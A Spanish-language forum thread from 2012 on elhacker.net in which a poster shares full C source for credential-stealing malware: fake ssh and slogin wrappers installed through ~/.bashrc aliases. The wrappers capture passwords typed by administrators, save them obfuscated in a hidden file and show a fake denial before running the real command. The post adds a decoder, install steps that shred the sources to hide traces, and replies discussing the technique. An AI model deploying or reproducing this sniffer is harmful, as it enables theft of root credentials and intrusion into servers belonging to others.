Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Kasswed en 15 Abril 2012, 14:28 pm



Título: [C] Ataque a OpenSSH usando alias bajo Linux
Publicado por: Kasswed en 15 Abril 2012, 14:28 pm
Supongamos que tenemos acceso a un servidor Linux, pero no somos ni root ni nada.

Pero supongamos que desde el usuario donde tenemos acceso hay gente que se loguea como root a otras máquinas usando SSH. Esto es un escenario bastante típico.

Nuestro usuario por lo general podrá crear alias y compilar programas, y de esto nos vamos a valer para instalar este malware en un Linux. Lo único que haremos es esperar a que un usuario se loguee en otra máquina como root y obtener sus credenciales en un archivo de texto, que estará cifrado de forma bastante sencilla.

El programa se compone de 3 partes. sl.c, ssh.c y deco.c

sl.c se compila y se usa como alias del comando slogin
ssh.c se compila y se usa como alias del comando ssh
deco.c no se instala en la máquina víctima, sólo nos sirve para descifrar nuestro archivo con credenciales.

Lo pongo aquí para ver si alguien se anima a mejorarlo. Siento que no tenga muchos comentarios, pero es bastante simple de entender. Por supuesto, cada caso es diferente, así que habría que adaptar el código a cada caso, dependiendo de diversas variables.

sl.c

Código
  1. /*
  2.   Author: Kasswed for elhacker.net April 2012
  3.  
  4.  This malware is composed of 3 parts:
  5.  1. sl.c: slogin snifer program code
  6.  2. ssh.c: ssh snifer program code
  7.  3. deco.c: decoder program for the logs files
  8.  
  9.  Install this program (does not need to be root) using a bash script:
  10.  
  11. mkdir .config/.keyboard
  12. gcc sl.c -o .config/.keyboard/sl
  13. gcc ssh.c -o .config/.keyboard/s
  14. echo "alias slogin='$HOME/.config/.keyboard/sl'" >> ~/.bashrc
  15. echo "alias ssh='$HOME/.config/.keyboard/s'" >> ~/.bashrc
  16. shred -n 30 -u sl.c
  17. shred -n 30 -u ssh.c
  18.  
  19. Then remove the script as well with "shred -n 30 -u script.sh"
  20.  
  21.  To get the passwords, get access to the victim's machine and copy the log file into your computer. Use the program  deco:
  22.  $ ./deco logfile
  23.  
  24.  Et voila.
  25.  
  26.  */
  27.  
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32. #include <pwd.h>
  33.  
  34. #define BUF 1000
  35. #define PATH "/usr/bin/slogin"
  36. #define LOG "/.config/.keyboard/sx"
  37.  
  38.  
  39. int main(int argc, char **argv){
  40.    char  *ssh_arguments_send[BUF];
  41.    char ssh[] = "slogin";
  42.    ssh_arguments_send[0] = ssh;
  43.    if(argc != 2){
  44. int j;
  45. for(j=1;j<argc;j++)
  46.    ssh_arguments_send[j]=argv[j];
  47.    }
  48.    else{
  49. FILE *file;
  50. char dir[BUF];
  51. strcpy(dir,getenv("HOME"));
  52. strcat(dir,LOG);
  53. int i;
  54. struct passwd *pw;
  55. char user[200];
  56. char *ptr;
  57. pw = getpwuid(geteuid());
  58. strcpy(user,pw->pw_name);
  59. ssh_arguments_send[1] = argv[1];
  60. char pCopy[BUF],encript[BUF],host[BUF],password[BUF];
  61. if(strchr(argv[1],'@') == NULL ){
  62.    strcpy(pCopy,user);
  63.    strcat(pCopy,"@");
  64.    strcat(pCopy,argv[1]);
  65. }
  66. else{
  67.    strcpy(pCopy,argv[1]);
  68. }
  69. sleep(2);
  70. printf("%s",pCopy);
  71. printf("'s password: ");
  72. system("stty -echo");
  73. fgets(password, BUF, stdin);
  74. printf("\n");
  75. system("stty echo");
  76. password[strlen(password)-1] = '\0';
  77. file = fopen(dir,"a+");
  78. if(file!=NULL){
  79.    strcat(pCopy,"/");
  80.    strcat(pCopy,password);
  81.    strcat(pCopy,";");
  82.    for(i=0;i<strlen(pCopy);i++){
  83. fprintf(file,"%c",pCopy[i]+ (33*i+1)%100);
  84. fprintf(file,"%c",pCopy[i]+ (33*i+2)%98);
  85. fprintf(file,"%c",pCopy[i]+25);
  86.    }
  87.    fprintf(file,"\n");
  88.    fclose(file);
  89. }
  90. sleep(2);
  91. printf("Permission denied, please try again.\n");
  92.    }
  93.    execv(PATH,ssh_arguments_send);
  94. }

ssh.c

Código
  1. /*
  2.  Author: Kasswed for elhacker.net April 2012
  3.  
  4.  This malware is composed of 3 parts:
  5.  1. sl.c: slogin snifer program code
  6.  2. ssh.c: ssh snifer program code
  7.  3. deco.c: decoder program for the logs files
  8.  
  9.  Install this program (does not need to be root) using a bash script:
  10.  
  11. mkdir .config/.keyboard
  12. gcc sl.c -o .config/.keyboard/sl
  13. gcc ssh.c -o .config/.keyboard/s
  14. echo "alias slogin='$HOME/.config/.keyboard/sl'" >> ~/.bashrc
  15. echo "alias ssh='$HOME/.config/.keyboard/s'" >> ~/.bashrc
  16. shred -n 30 -u sl.c
  17. shred -n 30 -u ssh.c
  18.  
  19. Then remove the script as well with "shred -n 30 -u script.sh"
  20.  
  21.  To get the passwords, get access to the victim's machine and copy the log file into your computer. Use the program  deco:
  22.  $ ./deco logfile
  23.  
  24.  Et voila.
  25.  
  26.  */
  27.  
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32. #include <pwd.h>
  33.  
  34.  
  35. #define BUF 1000
  36. #define PATH "/usr/bin/ssh"
  37. #define LOG "/.config/.keyboard/sx"
  38.  
  39.  
  40. int main(int argc, char **argv){
  41.    char  *ssh_arguments_send[BUF];
  42.    char ssh[] = "ssh";
  43.    ssh_arguments_send[0] = ssh;
  44.    if(argc != 2){
  45. int j;
  46. for(j=1;j<argc;j++)
  47.    ssh_arguments_send[j]=argv[j];
  48.    }
  49.    else{
  50. FILE *file;
  51. char dir[BUF];
  52. strcpy(dir,getenv("HOME"));
  53. strcat(dir,LOG);
  54. int i;
  55. struct passwd *pw;
  56. char user[200];
  57. char *ptr;
  58. pw = getpwuid(geteuid());
  59. strcpy(user,pw->pw_name);
  60. ssh_arguments_send[1] = argv[1];
  61. char pCopy[BUF],encript[BUF],host[BUF],password[BUF];
  62. if(strchr(argv[1],'@') == NULL ){
  63.    strcpy(pCopy,user);
  64.    strcat(pCopy,"@");
  65.    strcat(pCopy,argv[1]);
  66. }
  67. else{
  68.    strcpy(pCopy,argv[1]);
  69. }
  70. sleep(2);
  71. printf("%s",pCopy);
  72. printf("'s password: ");
  73. system("stty -echo");
  74. fgets(password, BUF, stdin);
  75. printf("\n");
  76. system("stty echo");
  77. password[strlen(password)-1] = '\0';
  78. file = fopen(dir,"a+");
  79. if(file!=NULL){
  80.    strcat(pCopy,"/");
  81.    strcat(pCopy,password);
  82.    strcat(pCopy,";");
  83.    for(i=0;i<strlen(pCopy);i++){
  84. fprintf(file,"%c",pCopy[i]+ (33*i+1)%100);
  85. fprintf(file,"%c",pCopy[i]+ (33*i+2)%98);
  86. fprintf(file,"%c",pCopy[i]+25);
  87.    }
  88.    fprintf(file,"\n");
  89.    fclose(file);
  90. }
  91. sleep(2);
  92. printf("Permission denied, please try again.\n");
  93.    }
  94.    execv(PATH,ssh_arguments_send);
  95. }

deco.c

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. #define BUF 10000
  6.  
  7. int main(int argc,char **argv){
  8. FILE* file;
  9. int i;
  10. char encript[BUF];
  11. file = fopen(argv[1],"r");
  12. fgets(encript,BUF,file);
  13. for(i=0;i<strlen(encript);i++){
  14.    if((i+1)%3==0)
  15. printf("%c",encript[i]-25);
  16. }
  17. fclose(file);
  18. }


Título: Re: [C] Ataque a OpenSSH usando alias bajo Linux
Publicado por: Karcrack en 16 Abril 2012, 00:35 am
Una método muy interesante. No soy mucho de Linux, pero la parte importante está aquí, no?:
Código:
alias ssh='$HOME/.config/.keyboard/s'
Ahí es donde "instalas" el sniffer, verdad? Si es así no debería de poderse establecer aliases que sobrescriban otros sin permisos de ROOT... tal vez se puede modificar alguna directiva para ello...

Muy buen código. Saludos.


Título: Re: [C] Ataque a OpenSSH usando alias bajo Linux
Publicado por: Kasswed en 16 Abril 2012, 12:44 pm
Exactamente.

El problema es que los alias suelen estar permitidos para todos los usuarios.A veces pasa en las empresas que tienen un usuario común sin muchos privilegios para el uso de ... impresoras y cosas así. A veces pasa que lso administradores se loguean con ese usuario común, y luego van yendo con slogin o openssh por otras máquinas. Es un error bastante grave y lo he visto ya en dos empresas, de ahí la idea.

Saludos!